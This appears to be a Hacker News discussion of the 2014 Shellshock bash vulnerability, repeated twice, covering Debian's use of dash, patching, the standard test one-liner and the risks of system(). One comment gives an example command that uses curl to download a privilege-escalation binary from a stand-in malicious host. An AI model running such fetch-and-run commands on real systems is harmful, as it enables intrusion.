6 ms·

It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by default, since /bin/sh is implicitly invoked all over the place (e.g. by system(3)).

by agwa 12y ago

It is a very good thing that Debian and Ubuntu use /bin/dash for /bin/sh by default, since /bin/sh is implicitly invoked all over the place (e.g. by system(3)). Distros which use /bin/bash for /bin/sh are gonna have a bad time. Edit: not implying that Debian and Ubuntu aren't affected too, just that the impact there will be lessened.

ForHackernews 12y ago
Do you have a source for that? Some articles [0] claim "This affects Debian as well as other Linux distributions." [0] http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html http://www.csoonline.com/article/2687265/application-securit...
- ngcazz 12y ago
  Likely meaning that the Debian packages for Bash include the vulnerability
- agwa 12y ago
  You're right and my comment was unclear. I'm just saying that the impact on Debian will be less than on distros using /bin/bash for /bin/sh. Of course, even a lessened impact can still be really bad!
- aroch 12y ago
  Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work): [arch/testbed ~] uname -a Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux [arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
  - agwa 12y ago
    You appear to already have the updated package installed.
    - aroch 12y ago
      Last dist-upgrade was about a week ago, all indications point towards the bash released back in Jan 2013. It's fixed in 4.2+dfsg-0.1+deb7u1 and I'm running 4.2+dfsg-0.1
      - agwa 12y ago
        Well, that's very odd because that command reports vulnerable on an unpatched Debian system, but fails with exactly that error message on a patched system.
  - deleted 12y ago
    [deleted]
    - claudius 12y ago
      Yes, the printing of “vulnerable” in the 4th line of your code snippet.
  - kazinator 12y ago
    I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't upgraded at all. Just other things like CUPS, exim4, pgsql, ...
    - cbhl 12y ago
      Make sure security.debian.org is in your apt sources list?
      - kazinator 12y ago
        Thanks for the hint folks. My eyes glazed over when OSS people started using packages some 20 odd years ago. My brain refuses to understand anything more than the beautiful simplicity of a tarball extracted from the / directory. :)
    - agwa 12y ago
      Squeeze doesn't have regular security support anymore. A subset of packages on i386 and amd64 are receiving long term security support, but you need to enable the Squeeze LTS repo: https://wiki.debian.org/LTS/Using https://wiki.debian.org/LTS/Using
      - ars 12y ago
        It has not reached the lts mirrors yet, but you can get it from http://incoming.debian.org/debian-buildd/pool/main/b/bash/ http://incoming.debian.org/debian-buildd/pool/main/b/bash/
        kazinator 12y ago
        Thanks. dpkg --install'ed the amd64 .deb package, and the vulnerability test passes now.
        daveloyall 12y ago
        As of 7:24 PM GMT the above link has the amd64 .deb for sid. Still waiting on the i386 .deb for sid. Your link and this link (https://security-tracker.debian.org/tracker/CVE-2014-6271 https://security-tracker.debian.org/tracker/CVE-2014-6271) useful when considered together.
korzun 12y ago
Major impact of this is elevating privileges, both Debian and Ubuntu will be impacted just like any other system. I don't think anybody is worried about software on the system that is using /bin/bash .vs /bin/sh.
- dllthomas 12y ago
  Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly. Edited to add: Also no differences in capabilities when I cat /proc/self/status None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.
  - sophacles 12y ago
    Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.
    - dllthomas 12y ago
      That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.
      - sophacles 12y ago
        I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage. Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.
asveikau 12y ago
I am sure tons of people reading already know this, but I have a habit of saying this everywhere I see system() mentioned anywhere on the internet, just in case somebody reading is tempted to use it: system() is evil, please for the love of god never use it. If you need to invoke another program use execve() and friends. The versions that end in -p will even check PATH for you. You don't need a shell to evaluate your arguments. Cut out the middle man and pass the arguments directly. It will save you a lot of stupid bugs.
- agwa 12y ago
  The API for system() is not great, but the execve family of functions are not drop-in replacements since they don't take care of forking, changing the signals, and waiting. As long as you're not passing arguments from outside sources to the command, using system() should be OK.
  - clarry 12y ago
    And in some cases invoking the shell and letting it do its thing is expected, intended and desirable.
    - wahern 12y ago
      Would you execute random Perl or Python code from the internet? No, you wouldn't, even if you tried to sanitize it a thousand ways from Sunday. So why would you do so for the shell? Defense must use different strategies than offense. An engineer's goal should be to reduce the problem space to something as small as possible, so he has a better chance at implementing a correct solution. Allowing the shell to be invoked is a good way to explode your exploitable surface area. Anybody who coded in the 1990s knows to stay away from the shell like the plague, even though the syntax parsing and evaluation components in modern shells have improved considerably. Sadly this particular bug harks back to the bad days, when it was more difficult to tell how certain constructs would be evaluated. It's not that you can't theoretically do it securely, it's just that you're gratuitously playing with fire--fire that has burned countless engineers in the past. The cost+benefit is so indisputably skewed toward little cost and huge risk that it's unprofessional to suggest otherwise. The shell shouldn't come anywhere near network-facing software, period.
jkrems 12y ago
Isn't /bin/sh vulnerable to the same thing? At least it seems for me: sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test" vulnerable this is a test
- joev_ 12y ago
  /bin/sh depends on the system. It might be busybox or a minimal shell (this is common on embedded devices). On some systems like OSX and I think CentOS /bin/sh is just bash. You can check with `/bin/sh --version`.
  - jkrems 12y ago
    Ah, thanks. Yes, tested it exactly on OSX and CentOS.

by agwa 12y ago

ForHackernews 12y ago

Do you have a source for that? Some articles [0] claim "This affects Debian as well as other Linux distributions." [0] http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html http://www.csoonline.com/article/2687265/application-securit...

ngcazz 12y ago
Likely meaning that the Debian packages for Bash include the vulnerability
agwa 12y ago
You're right and my comment was unclear. I'm just saying that the impact on Debian will be less than on distros using /bin/bash for /bin/sh. Of course, even a lessened impact can still be really bad!
aroch 12y ago
Debian7 doesn't look to be vulnerable by default (if the code snippet can be trusted to work): [arch/testbed ~] uname -a Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux [arch/testbed ~] env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
- agwa 12y ago
  You appear to already have the updated package installed.
  - aroch 12y ago
    Last dist-upgrade was about a week ago, all indications point towards the bash released back in Jan 2013. It's fixed in 4.2+dfsg-0.1+deb7u1 and I'm running 4.2+dfsg-0.1
    - agwa 12y ago
      Well, that's very odd because that command reports vulnerable on an unpatched Debian system, but fails with exactly that error message on a patched system.
- deleted 12y ago
  [deleted]
  - claudius 12y ago
    Yes, the printing of “vulnerable” in the 4th line of your code snippet.
- kazinator 12y ago
  I have a Debian Squeeze system. Just ran apt-get upgrade and bash wasn't upgraded at all. Just other things like CUPS, exim4, pgsql, ...
  - cbhl 12y ago
    Make sure security.debian.org is in your apt sources list?
    - kazinator 12y ago
      Thanks for the hint folks. My eyes glazed over when OSS people started using packages some 20 odd years ago. My brain refuses to understand anything more than the beautiful simplicity of a tarball extracted from the / directory. :)
  - agwa 12y ago
    Squeeze doesn't have regular security support anymore. A subset of packages on i386 and amd64 are receiving long term security support, but you need to enable the Squeeze LTS repo: https://wiki.debian.org/LTS/Using https://wiki.debian.org/LTS/Using
    - ars 12y ago
      It has not reached the lts mirrors yet, but you can get it from http://incoming.debian.org/debian-buildd/pool/main/b/bash/ http://incoming.debian.org/debian-buildd/pool/main/b/bash/
      - kazinator 12y ago
        Thanks. dpkg --install'ed the amd64 .deb package, and the vulnerability test passes now.
      - daveloyall 12y ago
        As of 7:24 PM GMT the above link has the amd64 .deb for sid. Still waiting on the i386 .deb for sid. Your link and this link (https://security-tracker.debian.org/tracker/CVE-2014-6271 https://security-tracker.debian.org/tracker/CVE-2014-6271) useful when considered together.

korzun 12y ago

Major impact of this is elevating privileges, both Debian and Ubuntu will be impacted just like any other system. I don't think anybody is worried about software on the system that is using /bin/bash .vs /bin/sh.

dllthomas 12y ago
Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly. Edited to add: Also no differences in capabilities when I cat /proc/self/status None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.
- sophacles 12y ago
  Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.
  - dllthomas 12y ago
    That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.
    - sophacles 12y ago
      I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage. Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.

asveikau 12y ago

I am sure tons of people reading already know this, but I have a habit of saying this everywhere I see system() mentioned anywhere on the internet, just in case somebody reading is tempted to use it: system() is evil, please for the love of god never use it. If you need to invoke another program use execve() and friends. The versions that end in -p will even check PATH for you. You don't need a shell to evaluate your arguments. Cut out the middle man and pass the arguments directly. It will save you a lot of stupid bugs.

agwa 12y ago
The API for system() is not great, but the execve family of functions are not drop-in replacements since they don't take care of forking, changing the signals, and waiting. As long as you're not passing arguments from outside sources to the command, using system() should be OK.
- clarry 12y ago
  And in some cases invoking the shell and letting it do its thing is expected, intended and desirable.
  - wahern 12y ago
    Would you execute random Perl or Python code from the internet? No, you wouldn't, even if you tried to sanitize it a thousand ways from Sunday. So why would you do so for the shell? Defense must use different strategies than offense. An engineer's goal should be to reduce the problem space to something as small as possible, so he has a better chance at implementing a correct solution. Allowing the shell to be invoked is a good way to explode your exploitable surface area. Anybody who coded in the 1990s knows to stay away from the shell like the plague, even though the syntax parsing and evaluation components in modern shells have improved considerably. Sadly this particular bug harks back to the bad days, when it was more difficult to tell how certain constructs would be evaluated. It's not that you can't theoretically do it securely, it's just that you're gratuitously playing with fire--fire that has burned countless engineers in the past. The cost+benefit is so indisputably skewed toward little cost and huge risk that it's unprofessional to suggest otherwise. The shell shouldn't come anywhere near network-facing software, period.

jkrems 12y ago

Isn't /bin/sh vulnerable to the same thing? At least it seems for me: sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test" vulnerable this is a test

joev_ 12y ago
/bin/sh depends on the system. It might be busybox or a minimal shell (this is common on embedded devices). On some systems like OSX and I think CentOS /bin/sh is just bash. You can check with `/bin/sh --version`.
- jkrems 12y ago
  Ah, thanks. Yes, tested it exactly on OSX and CentOS.